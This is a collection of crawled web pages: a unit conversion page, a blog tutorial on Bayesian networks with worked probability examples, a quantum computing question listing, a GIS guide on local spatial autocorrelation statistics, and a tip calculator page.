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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9055168,"math_prob":0.97126704,"size":2471,"snap":"2020-45-2020-50","text_gpt3_token_len":533,"char_repetition_ratio":0.14592622,"word_repetition_ratio":0.009592326,"special_character_ratio":0.19870497,"punctuation_ratio":0.07905983,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99374986,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-26T09:27:58Z\",\"WARC-Record-ID\":\"<urn:uuid:fd40a6d9-38b2-4528-a426-528281f5ac3f>\",\"Content-Length\":\"94206\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0b218c4f-32dc-4b35-97db-2861f85b10f3>\",\"WARC-Concurrent-To\":\"<urn:uuid:01a1406c-e292-45b8-8e28-22fc68dcd4c2>\",\"WARC-IP-Address\":\"144.76.154.35\",\"WARC-Target-URI\":\"https://znanio.ru/media/14motion-of-a-charged-particle-in-the-magnetic-field-2582984\",\"WARC-Payload-Digest\":\"sha1:GBKRUYM6KU6H42I63MTDAWBD7UYVMMU7\",\"WARC-Block-Digest\":\"sha1:4Z2UQ4MR3HFDKDJKV5HGA4ARR5N6O235\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141187753.32_warc_CC-MAIN-20201126084625-20201126114625-00452.warc.gz\"}"} |
https://convertoctopus.com/315-centimeters-to-kilometers | [
"## Conversion formula\n\nThe conversion factor from centimeters to kilometers is 1.0E-5, which means that 1 centimeter is equal to 1.0E-5 kilometers:\n\n1 cm = 1.0E-5 km\n\nTo convert 315 centimeters into kilometers we have to multiply 315 by the conversion factor in order to get the length amount from centimeters to kilometers. We can also form a simple proportion to calculate the result:\n\n1 cm → 1.0E-5 km\n\n315 cm → L(km)\n\nSolve the above proportion to obtain the length L in kilometers:\n\nL(km) = 315 cm × 1.0E-5 km\n\nL(km) = 0.00315 km\n\nThe final result is:\n\n315 cm → 0.00315 km\n\nWe conclude that 315 centimeters is equivalent to 0.00315 kilometers:\n\n315 centimeters = 0.00315 kilometers\n\n## Alternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 kilometer is equal to 317.46031746032 × 315 centimeters.\n\nAnother way is saying that 315 centimeters is equal to 1 ÷ 317.46031746032 kilometers.\n\n## Approximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that three hundred fifteen centimeters is approximately zero point zero zero three kilometers:\n\n315 cm ≅ 0.003 km\n\nAn alternative is also that one kilometer is approximately three hundred seventeen point four six times three hundred fifteen centimeters.\n\n## Conversion table\n\n### centimeters to kilometers chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from centimeters to kilometers\n\ncentimeters (cm) kilometers (km)\n316 centimeters 0.003 kilometers\n317 centimeters 0.003 kilometers\n318 centimeters 0.003 kilometers\n319 centimeters 0.003 kilometers\n320 centimeters 0.003 kilometers\n321 centimeters 0.003 kilometers\n322 centimeters 0.003 kilometers\n323 centimeters 0.003 kilometers\n324 centimeters 0.003 kilometers\n325 centimeters 0.003 kilometers"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.75041634,"math_prob":0.99842286,"size":1863,"snap":"2021-04-2021-17","text_gpt3_token_len":469,"char_repetition_ratio":0.29101667,"word_repetition_ratio":0.0,"special_character_ratio":0.29200214,"punctuation_ratio":0.10557185,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9955748,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-15T23:55:20Z\",\"WARC-Record-ID\":\"<urn:uuid:3a4b16c1-b88e-4483-b32e-6eaac0c599fd>\",\"Content-Length\":\"29017\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d785bc3a-b72b-4adb-bd99-f4f8eedd96c9>\",\"WARC-Concurrent-To\":\"<urn:uuid:36a0ba04-162e-45a9-8b3a-2e37b741434f>\",\"WARC-IP-Address\":\"172.67.208.237\",\"WARC-Target-URI\":\"https://convertoctopus.com/315-centimeters-to-kilometers\",\"WARC-Payload-Digest\":\"sha1:YTUUJUZU7WPPQZ7DMX4J7WXMITULWPX3\",\"WARC-Block-Digest\":\"sha1:6Q7KWEPX4KINZ7VQOCZKRWNONH4OEEEJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038088264.43_warc_CC-MAIN-20210415222106-20210416012106-00485.warc.gz\"}"} |
https://www.upgrad.com/blog/bayesian-network-example/ | [
"Programs\n\n# Bayesian Network Example [With Graphical Representation]\n\n## Introduction\n\nIn statistics, Probabilistic models are used to define a relationship between variables and can be used to calculate the probabilities of each variable. In many problems, there are a large number of variables. In such cases, the fully conditional models require a huge amount of data to cover each and every case of the probability functions which may be intractable to calculate in real-time. There have been several attempts to simplify the conditional probability calculations such as the Naïve Bayes but still, it does not prove to be efficient as it drastically cuts down several variables.\n\nThe only way is to develop a model that can preserve the conditional dependencies between random variables and conditional independence in other cases. This leads us to the concept of Bayesian Networks. These Bayesian Networks help us to effectively visualize the probabilistic model for each domain and to study the relationship between random variables in the form of a user-friendly graph.\n\nLearn ML Course from the World’s top Universities. Earn Masters, Executive PGP, or Advanced Certificate Programs to fast-track your career.\n\n## Best Machine Learning and AI Courses Online\n\n Master of Science in Machine Learning & AI from LJMU Executive Post Graduate Programme in Machine Learning & AI from IIITB Advanced Certificate Programme in Machine Learning & NLP from IIITB Advanced Certificate Programme in Machine Learning & Deep Learning from IIITB Executive Post Graduate Program in Data Science & Machine Learning from University of Maryland To Explore all our courses, visit our page below. Machine Learning Courses\n\n## What are Bayesian Networks?\n\nBy definition, Bayesian Networks are a type of Probabilistic Graphical Model that uses the Bayesian inferences for probability computations. It represents a set of variables and its conditional probabilities with a Directed Acyclic Graph (DAG). They are primarily suited for considering an event that has occurred and predicting the likelihood that any one of the several possible known causes is the contributing factor.",
null,
"Source\n\nAs mentioned above, by making use of the relationships which are specified by the Bayesian Network, we can obtain the Joint Probability Distribution (JPF) with the conditional probabilities. Each node in the graph represents a random variable and the arc (or directed arrow) represents the relationship between the nodes. They can be either continuous or discrete in nature.\n\n## In-demand Machine Learning Skills\n\n Artificial Intelligence Courses Tableau Courses NLP Courses Deep Learning Courses\n\nIn the above diagram A, B, C and D are 4 random variables represented by nodes given in the network of the graph. To node B, A is its parent node and C is its child node. Node C is independent of Node A.\n\nBefore we get into the implementation of a Bayesian Network, there are a few probability basics that have to be understood.\n\n### Local Markov Property\n\nThe Bayesian Networks satisfy the property known as the Local Markov Property. It states that a node is conditionally independent of its non-descendants, given its parents. In the above example, P(D|A, B) is equal to P(D|A) because D is independent of its non-descendent, B. This property aids us in simplifying the Joint Distribution. The Local Markov Property leads us to the concept of a Markov Random Field which is a random field around a variable that is said to follow Markov properties.\n\n### Conditional Probability\n\nIn mathematics, the Conditional Probability of event A is the probability that event A will occur given that another event B has already occurred. In simple terms, p(A | B) is the probability of event A occurring, given that event, B occurs. However, there are two types of event possibilities between A and B. They may be either dependent events or independent events. Depending upon their type, there are two different ways to calculate the conditional probability.\n\n• Given A and B are dependent events, the conditional probability is calculated as P (A| B) = P (A and B) / P (B)\n• If A and B are independent events, then the expression for conditional probability is given by, P(A| B) = P (A)\n\n### Joint Probability Distribution\n\nBefore we get into an example of Bayesian Networks, let us understand the concept of Joint Probability Distribution. Consider 3 variables a1, a2 and a3. By definition, the probabilities of all different possible combinations of a1, a2, and a3 are called its Joint Probability Distribution.\n\nIf P[a1,a2, a3,….., an] is the JPD of the following variables from a1 to an, then there are several ways of calculating the Joint Probability Distribution as a combination of various terms such as,\n\nP[a1,a2, a3,….., an] = P[a1 | a2, a3,….., an] * P[a2, a3,….., an]\n\n= P[a1 | a2, a3,….., an] * P[a2 | a3,….., an]….P[an-1|an] * P[an]\n\nGeneralizing the above equation, we can write the Joint Probability Distribution as,\n\nP(Xi|Xi-1,………, Xn) = P(Xi |Parents(Xi ))\n\n## Example of Bayesian Networks\n\nLet us now understand the mechanism of Bayesian Networks and their advantages with the help of a simple example. In this example, let us imagine that we are given the task of modeling a student’s marks (m) for an exam he has just given. From the given Bayesian Network Graph below, we see that the marks depend upon two other variables. They are,\n\n• Exam Level (e)– This discrete variable denotes the difficulty of the exam and has two values (0 for easy and 1 for difficult)\n• IQ Level (i) – This represents the Intelligence Quotient level of the student and is also discrete in nature having two values (0 for low and 1 for high)\n\nAdditionally, the IQ level of the student also leads us to another variable, which is the Aptitude Score of the student (s). Now, with marks the student has scored, he can secure admission to a particular university. The probability distribution for getting admitted (a) to a university is also given below.",
null,
"In the above graph, we see several tables representing the probability distribution values of the given 5 variables. These tables are called the Conditional Probabilities Table or CPT. There are a few properties of the CPT given below –\n\n• The sum of the CPT values in each row must be equal to 1 because all the possible cases for a particular variable are exhaustive (representing all possibilities).\n• If a variable that is Boolean in nature has k Boolean parents, then in the CPT it has 2K probability values.\n\nComing back to our problem, let us first list all the possible events that are occurring in the above-given table.\n\n1. Exam Level (e)\n2. IQ Level (i)\n3. Aptitude Score (s)\n4. Marks (m)\n\nThese five variables are represented in the form of a Directed Acyclic Graph (DAG) in a Bayesian Network format with their Conditional Probability tables. Now, to calculate the Joint Probability Distribution of the 5 variables the formula is given by,\n\nP[a, m, i, e, s]= P(a | m) . P(m | i, e) . P(i) . P(e) . P(s | i)\n\nFrom the above formula,\n\n• P(a | m) denotes the conditional probability of the student getting admission based on the marks he has scored in the examination.\n• P(m | i, e) represents the marks that the student will score given his IQ level and difficulty of the Exam Level.\n• P(i) and P(e) represent the probability of the IQ Level and the Exam Level.\n• P(s | i) is the conditional probability of the student’s Aptitude Score, given his IQ Level.\n\nWith the following probabilities calculated, we can find the Joint Probability Distribution of the entire Bayesian Network.\n\n## Calculation of Joint Probability Distribution\n\nLet us now calculate the JPD for two cases.\n\nCase 1: Calculate the probability that in spite of the exam level being difficult, the student having a low IQ level and a low Aptitude Score, manages to pass the exam and secure admission to the university.\n\nFrom the above word problem statement, the Joint Probability Distribution can be written as below,\n\nP[a=1, m=1, i=0, e=1, s=0]\n\nFrom the above Conditional Probability tables, the values for the given conditions are fed to the formula and is calculated as below.\n\nP[a=1, m=1, i=0, e=0, s=0] = P(a=1 | m=1) . P(m=1 | i=0, e=1) . P(i=0) . P(e=1) . P(s=0 | i=0)\n\n= 0.1 * 0.1 * 0.8 * 0.3 * 0.75\n\n= 0.0018\n\nCase 2: In another case, calculate the probability that the student has a High IQ level and Aptitude Score, the exam being easy yet fails to pass and does not secure admission to the university.\n\nAlso Read: Machine Learning Project Ideas & Topics\n\nThe formula for the JPD is given by\n\nP[a=0, m=0, i=1, e=0, s=1]\n\nThus,\n\nP[a=0, m=0, i=1, e=0, s=1]= P(a=0 | m=0) . P(m=0 | i=1, e=0) . P(i=1) . P(e=0) . P(s=1 | i=1)\n\n= 0.6 * 0.5 * 0.2 * 0.7 * 0.6\n\n= 0.0252\n\nHence, in this way, we can make use of Bayesian Networks and Probability tables to calculate the probability for various possible events that occur.\n\n## Popular AI and ML Blogs & Free Courses\n\n IoT: History, Present & Future Machine Learning Tutorial: Learn ML What is Algorithm? Simple & Easy Robotics Engineer Salary in India : All Roles A Day in the Life of a Machine Learning Engineer: What do they do? What is IoT (Internet of Things) Permutation vs Combination: Difference between Permutation and Combination Top 7 Trends in Artificial Intelligence & Machine Learning Machine Learning with R: Everything You Need to Know AI & ML Free Courses Introduction to NLP Fundamentals of Deep Learning of Neural Networks Linear Regression: Step by Step Guide Artificial Intelligence in the Real World Introduction to Tableau Case Study using Python, SQL and Tableau\n\n## Conclusion\n\nThere are innumerable applications to Bayesian Networks in Spam Filtering, Semantic Search, Information Retrieval, and many more. For example, with a given symptom we can predict the probability of a disease occurring with several other factors contributing to the disease. Thus, the concept of the Bayesian Network is introduced in this article along with its implementation with a real-life example.\n\nIf you are curious to master Machine learning and AI, boost your career with an Advanced Course on Machine Learning and AI with IIIT-B & Liverpool John Moores University.\n\n## How are Bayesian networks implemented?\n\nA Bayesian network is a graphical model where each of the nodes represent random variables. Each node is connected to other nodes by directed arcs. Each arc represents a conditional probability distribution of the parents given the children. The directed edges represent the influence of a parent on its children. The nodes usually represent some real-world objects and the arcs represent some physical or logical relationship between them. Bayesian networks are used in many applications like automatic speech recognition, document/image classification, medical diagnosis, and robotics.\n\n## Why is the Bayesian network important?\n\nAs we know, the Bayesian network is an important part of machine learning and statistics. It is used in data mining and scientific discovery. Bayesian network is a directed acyclic graph (DAG) with nodes representing random variables and arcs representing direct influence. Bayesian network is used in various applications like Text analysis, Fraud detection, Cancer detection, Image recognition etc. In this article, we will discuss Reasoning in Bayesian networks. Bayesian Network is an important tool for analyzing the past, predicting the future and improving the quality of decisions. Bayesian Network has its origins in statistics, but it is now being used by all professionals including Research Scientists, Operations Research Analysts, Industrial Engineers, Marketing Professionals, Business Consultants and even Managers.\n\n## What is a Sparse Bayesian Network?\n\nA Sparse Bayesian Network (SBN) is a special kind of Bayesian network where the conditional probability distribution is a sparse graph. It might be appropriate to use a SBN when the number of variables is large and/or the number of observations is small. In general, Bayesian Networks are most useful when you are interested in explaining an observation or event by conditioning on a number of factors.\n\n## Lead the AI Driven Technological Revolution\n\n### Machine Learning Skills To Master",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.919135,"math_prob":0.95699984,"size":10832,"snap":"2023-14-2023-23","text_gpt3_token_len":2409,"char_repetition_ratio":0.1634651,"word_repetition_ratio":0.01330377,"special_character_ratio":0.22322747,"punctuation_ratio":0.11731044,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99855775,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,4,null,4,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-02T15:38:32Z\",\"WARC-Record-ID\":\"<urn:uuid:dafe1fe0-2d78-4d11-8e3e-b8b1a27c929c>\",\"Content-Length\":\"495765\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2b2763b1-4ef5-465b-ac42-7242a448b6db>\",\"WARC-Concurrent-To\":\"<urn:uuid:4a1e4bbd-3f5f-4695-885a-a886e9cbdf42>\",\"WARC-IP-Address\":\"99.84.208.6\",\"WARC-Target-URI\":\"https://www.upgrad.com/blog/bayesian-network-example/\",\"WARC-Payload-Digest\":\"sha1:NNNPQUKHFI2GSFDLAREAS4PP2EQF527Y\",\"WARC-Block-Digest\":\"sha1:NPRYJFOANGG5BMVSK6OWE6IF2LHSKQK6\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224648695.4_warc_CC-MAIN-20230602140602-20230602170602-00450.warc.gz\"}"} |
https://quantumcomputing.stackexchange.com/questions/tagged/matrix-representation | [
"# Questions tagged [matrix-representation]\n\nFor questions about matrix representations of quantum gates.\n\n85 questions\nFilter by\nSorted by\nTagged with\n58 views\n\n### Quick question about Two-qubit SWAP gate from the Exchange interaction\n\nI am reading the following paper: Optimal two-qubit quantum circuits using exchange interactions. I have a problem with the calculation of the unitary evolution operator $U$ (Maybe it is stupid): I ...\n40 views\n\n### What is the effect of the reset gate on the matrix form of a gate/circuit?\n\nFrom what I understand, any circuit can be combined to make a gate, which has a square, unitary matrix form that acts on the $2^n$ row of the qubits state column vector. For example, the circuit ..."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.87277514,"math_prob":0.9399405,"size":14315,"snap":"2020-45-2020-50","text_gpt3_token_len":4037,"char_repetition_ratio":0.15512542,"word_repetition_ratio":0.0370218,"special_character_ratio":0.27977645,"punctuation_ratio":0.111460514,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9657626,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-12-02T09:45:22Z\",\"WARC-Record-ID\":\"<urn:uuid:801e84e9-4ca2-4469-8cc5-deba01ea83d0>\",\"Content-Length\":\"260279\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:19e1c2b1-9b70-4216-bcd7-71c9b7930bb8>\",\"WARC-Concurrent-To\":\"<urn:uuid:d92120c8-a41f-4a8c-9762-a6d061e1161f>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://quantumcomputing.stackexchange.com/questions/tagged/matrix-representation\",\"WARC-Payload-Digest\":\"sha1:2SCYNXP7CGSA53AHVHVS6ORECJRO56DR\",\"WARC-Block-Digest\":\"sha1:A2FSPXVFGXF2V2AYPAWYWN7ORMKCNGTD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141706569.64_warc_CC-MAIN-20201202083021-20201202113021-00222.warc.gz\"}"} |
https://spatialanalysisonline.com/HTML/local_indicators_of_spatial_as.htm | [
" Data Exploration and Spatial Statistics > Spatial Autocorrelation > Local indicators of spatial association (LISA)\n\n# Local indicators of spatial association (LISA)\n\nIf we look more closely at the Moran I index we see that it can be disaggregated to provide a series of local indices. We start with the standard formulation we provided earlier:",
null,
"Examining the computation of this “global” index provided earlier in Figure 5‑31B, we can see that each row in the computation contributes to the overall sum (Figure 5‑35A), with the covariance component being 16.19 and overall Moran I value 0.03167. Each row item could be standardized by the overall sum of squared deviations and adjusted by the number of cells, n, as shown. The total of these local contributions divided by the total number of joins, ΣΣwij, gives the overall or Global Moran I value. These individual components, or Local Indicators of Spatial Association (LISA), can be mapped and tested for significance to provide an indication of clustering patterns within the study region (Figure 5‑36).\n\nThe calculations require some adjustment in order to provide Global Moran I and LISA values in their commonly used form. The first adjustment is to the weights matrix. It is usual to standardize the row totals in the weights matrix to sum to 1. One advantage of row standardization is that for each row (location) the set of weights corresponds to a form of weighted average of the neighbors that are included, which also enables different models to be readily compared. Row standardization may also provide a computationally more suitable weights matrix. This procedure alters the Global Moran I value when rows have differing totals, which is the typical situation. For the example above the effect is to increase the computed Moran I to 0.0736. The second adjustment involves using (n‑1) rather than n as the row multiplier, and then the sum is re-adjusted by this factor to produce the Global index value. These changes are illustrated in Figure 5‑35B and Figure 5‑36 and correspond to the computations performed within GeoDa, R and SpaceStat (Anselin, personal communication). ArcGIS offers the option to have no weights matrix standardization, row standardization (dividing rows by row totals) or total weights standardization (dividing all cells by the overall cell total).\n\nThe Geary C contiguity index may also be disaggregated to produce a LISA measure, in the same manner as for the Moran I. Another measure, known as the \"G\" statistic, due to Getis and Ord (1992, 1995), may also be used in this way. The latter is supported within ArcGIS as both a global index and in disaggregated form for identifying local clustering patterns, which ArcGIS considers this as a form of hot-spot analysis. The ArcGIS implementation of the G statistic facilitates the use of simple fixed Euclidean distance bands (threshold distances) within binary weights (as described below), but also permits the use of the Manhattan metric and a variety of alternative models of contiguity such as: inverse distance; inverse distance squared; so-called Zones of Indifference (a combination of inverse distance and threshold distance); and user-defined spatial weights matrices. Unlike the Moran I and Geary C statistics, the Getis and Ord G statistic identifies the degree to which high or low values cluster together.\n\nFigure 5‑35 Local Moran I computation\n\n A. C*W: Adjustment by multiplication of the weighting matrix, W",
null,
"B. C*W1: Adjustment by multiplication of the row-adjusted weighting matrix, W1",
null,
"Figure 5‑36 LISA map, Moran I",
null,
"The standard global form of the Getis and Ord G statistic is:",
null,
"whilst the local variant is",
null,
"The weights matrix, W, is typically defined as a symmetric binary contiguity matrix, with contiguity determined by a (generalized) distance threshold, d. A variant of this latter statistic, which is regarded as of greater use in hot-spot analysis, permits i=j in the expression (so includes i in the summations, with wii=1 rather than 0 in the binary weights contiguity model) and is known as the Gi* statistic rather than Gi. — Note that these local statistics are not meaningful if there are no events or values in the set of cells or zones under examination.\n\nThe expected value of G under Complete Spatial Randomness (CSR) is:",
null,
"where n is the number of points or zones in the study area and W is the sum of the weights, which for binary weights is simply the number of pairs within the distance threshold, d. The equivalent expected value for the local variant is:",
null,
"where n is the number of points or zones within the threshold distance, d, for point/region i. Closed formulas for the variances have been obtained but are very lengthy. They facilitate the construction of z-scores and hence significance testing of the global and local versions of the G statistics. For the local measure both computed values and z-scores may be useful to map.\n\nThe Rookcase add-in provides support for all three LISA measures with variable lag distance and number of lags. Further discussion of these methods is provided in several other sections of this Guide: in Section 5.2, Exploratory Spatial Data Analysis (ESDA); in Section 5.6.5, Spatial filtering models; and in Sections 4.6, Grid Operations and Map Algebra and Chapter 6, Surface and Field Analysis, relating to grid files, since there are parallels between several of the concepts applied."
]
| [
null,
"https://spatialanalysisonline.com/HTML/embim195.gif",
null,
"https://spatialanalysisonline.com/HTML/lisa1_zoom75.png",
null,
"https://spatialanalysisonline.com/HTML/lisa2_zoom75.png",
null,
"https://spatialanalysisonline.com/HTML/clip0208.zoom68_zoom68.png",
null,
"https://spatialanalysisonline.com/HTML/embim196.gif",
null,
"https://spatialanalysisonline.com/HTML/embim197.gif",
null,
"https://spatialanalysisonline.com/HTML/embim198.gif",
null,
"https://spatialanalysisonline.com/HTML/embim199.gif",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.9202531,"math_prob":0.96720153,"size":5374,"snap":"2022-27-2022-33","text_gpt3_token_len":1139,"char_repetition_ratio":0.12364991,"word_repetition_ratio":0.02057143,"special_character_ratio":0.204131,"punctuation_ratio":0.09466264,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98510987,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],"im_url_duplicate_count":[null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-01T19:33:18Z\",\"WARC-Record-ID\":\"<urn:uuid:19d63a75-2948-4b40-a5f8-3360b6a788dc>\",\"Content-Length\":\"19145\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4ff82f01-4520-491b-bf9a-fe6cbdc2cfb7>\",\"WARC-Concurrent-To\":\"<urn:uuid:7ed357a8-5dd5-4ee7-afaa-15dd2963b1f8>\",\"WARC-IP-Address\":\"209.17.116.160\",\"WARC-Target-URI\":\"https://spatialanalysisonline.com/HTML/local_indicators_of_spatial_as.htm\",\"WARC-Payload-Digest\":\"sha1:3X6NJUUS2RF4EED6BK73VL63HHHCLSC2\",\"WARC-Block-Digest\":\"sha1:D7E76ETTR7AX5GJT7GB3E3SKXZ27CXJL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656103945490.54_warc_CC-MAIN-20220701185955-20220701215955-00364.warc.gz\"}"} |
https://www.volumegraphics.com/en/products/vgsm/electrical-conductivity-simulation.html | [
"For security reasons, we recommend that you use an up-to-date browser, such as Microsoft Edge, Google Chrome, Safari, or Mozilla Firefox.\n\n# Electrical Conductivity Simulation\n\n### with VGSTUDIO MAX\n\nSimulate electrical conductivity directly on CT scans of different materials using the Transport Phenomena Simulation Module for VGSTUDIO MAX.\n\n## Simulation of Electrical Conductivity\n\nElectrical conductivity measures a material's ability to allow the transport of an electric charge.\n\nThe Transport Phenomena Simulation Module for VGSTUDIO MAX:\n\n• Simulates the stationary electric potential and current fields in a two-component material, where each material has a different electrical conductivity, with the boundary condition that inlet and outlet are each clamped to a different constant electric potential.\n• Works directly on voxel data and makes use of the sub-voxel accurate, local adaptive surface determination in VGSTUDIO MAX.\n• Has \"experiment mode\" for performing a virtual experiment for the transport of electrical charge, as well as a \"tensor mode\" for calculating the electrical conductivity tensor.\n\nThe electrical conductivity module is based on following differential equations for stationary voltage and current density fields in a two-component material:\n\nwhere Ω is the entire simulation domain and Ωₐ is the domain of component a (with a = 1, 2). It is assumed that Ω₁ and Ω₂ do not overlap and their union equals Ω. U is the electric potential (in volts), J is the current density, σₐ is the conductivity of component a, Δ is the Laplace operator, and grad is the gradient operator.\n\n## Experiment Mode\n\nIn experiment mode, the software performs a virtual experiment on the CT data of a structure. Use the experiment mode to simulate the transport of electrical charge through the structure from an inlet plane towards an outlet plane parallel to each other. Perpendicular to the inlet and outlet plane, you can define sealed or embedded boundary conditions. A voltage difference must be specified as driving quantity for the flow.",
null,
"Current density (2D view)",
null,
"Current density (3D view)",
null,
"Electric potential (2D view)",
null,
"Electric potential (3D view)",
null,
"Streamlines\n\n## Tensor Mode\n\nIn tensor mode, the software calculates the intrinsic effective tensor-valued electrical conductivity. Calculate the electrical conductivity tensor either on the whole structure or for increments of the structure by using an integration mesh.",
null,
"Tensor mode",
null,
"Effective electrical conductivity tensor per integration mesh cell",
null,
"Mean effective electrical conductivity (2D view)",
null,
"Void fraction (2D view)\n\nIn addition to the tensors' eigenvalues and eigenvectors, the components of the effective electrical conductivity tensor with respect to the simulation coordinate system are provided in a table view."
]
| [
null,
"https://www.volumegraphics.com/_Resources/Persistent/1/b/5/f/1b5ff8dd6c550b2e3db05a394f088410be075c77/DRAFT_EC2-1320x758.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/d/7/9/c/d79ca0ef899a366b6c93a3189719732ec8cd43d9/DRAFT_EC3-1321x758.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/f/4/a/3/f4a30e4b059302a324c786844c700fe1d46b3a85/DRAFT_EC4-1320x762.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/3/f/c/4/3fc44bc53a10f889a2ec938c92bc9d731a7a3a9b/DRAFT_EC5-1319x759.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/d/b/f/3/dbf32a06a73e624ad15356e6ca0fd8bd2c05a759/DRAFT_EC6-1319x761.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/d/d/d/2/ddd22b2c13f3c1199914b86d781b389ba9e2ee1e/DRAFT_EC7-1321x505.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/a/8/9/1/a891943f9f7dc94995a066599aa97c57fdb0df0f/DRAFT_EC8-906x800.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/0/f/4/b/0f4b739ad329c907df64aa193acb61fc85008065/DRAFT_EC9-1320x752.webp",
null,
"https://www.volumegraphics.com/_Resources/Persistent/8/0/9/4/809480b1208d4e4940e2ffdb48fb34c264a2edc4/DRAFT_EC10-1319x770.webp",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.8862521,"math_prob":0.97659177,"size":2263,"snap":"2021-43-2021-49","text_gpt3_token_len":440,"char_repetition_ratio":0.13811421,"word_repetition_ratio":0.01724138,"special_character_ratio":0.17896597,"punctuation_ratio":0.08951407,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9699174,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18],"im_url_duplicate_count":[null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-05T17:05:47Z\",\"WARC-Record-ID\":\"<urn:uuid:910eb797-d5a2-49f6-a662-22b4a397564b>\",\"Content-Length\":\"90697\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8b0a9cb9-793a-4bd7-94b2-dd6b060e5d71>\",\"WARC-Concurrent-To\":\"<urn:uuid:21595c49-aba3-4800-8dab-70b024ce308b>\",\"WARC-IP-Address\":\"217.29.41.79\",\"WARC-Target-URI\":\"https://www.volumegraphics.com/en/products/vgsm/electrical-conductivity-simulation.html\",\"WARC-Payload-Digest\":\"sha1:JSQ4V6XSIE6IWB6E44GSXWO3ZJ2T6U2F\",\"WARC-Block-Digest\":\"sha1:QSBHPRIA6ZR25PFKDSLZPTSPHZQDJAD2\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964363215.8_warc_CC-MAIN-20211205160950-20211205190950-00408.warc.gz\"}"} |
https://tipcalc.net/how-much-is-a-20-percent-tip-on-447.59 | [
"# Tip Calculator\n\nHow much is a 20 percent tip on \\$447.59?\n\nTIP:\n\\$ 0\nTOTAL:\n\\$ 0\n\nTIP PER PERSON:\n\\$ 0\nTOTAL PER PERSON:\n\\$ 0\n\n## How much is a 20 percent tip on \\$447.59? How to calculate this tip?\n\nAre you looking for the answer to this question: How much is a 20 percent tip on \\$447.59? Here is the answer.\n\nLet's see how to calculate a 20 percent tip when the amount to be paid is 447.59. Tip is a percentage, and a percentage is a number or ratio expressed as a fraction of 100. This means that a 20 percent tip can also be expressed as follows: 20/100 = 0.2 . To get the tip value for a \\$447.59 bill, the amount of the bill must be multiplied by 0.2, so the calculation is as follows:\n\n1. TIP = 447.59*20% = 447.59*0.2 = 89.518\n\n2. TOTAL = 447.59+89.518 = 537.108\n\n3. Rounded to the nearest whole number: 537\n\nIf you want to know how to calculate the tip in your head in a few seconds, visit the Tip Calculator Home.\n\n## So what is a 20 percent tip on a \\$447.59? The answer is 89.52!\n\nOf course, it may happen that you do not pay the bill or the tip alone. A typical case is when you order a pizza with your friends and you want to split the amount of the order. For example, if you are three, you simply need to split the tip and the amount into three. In this example it 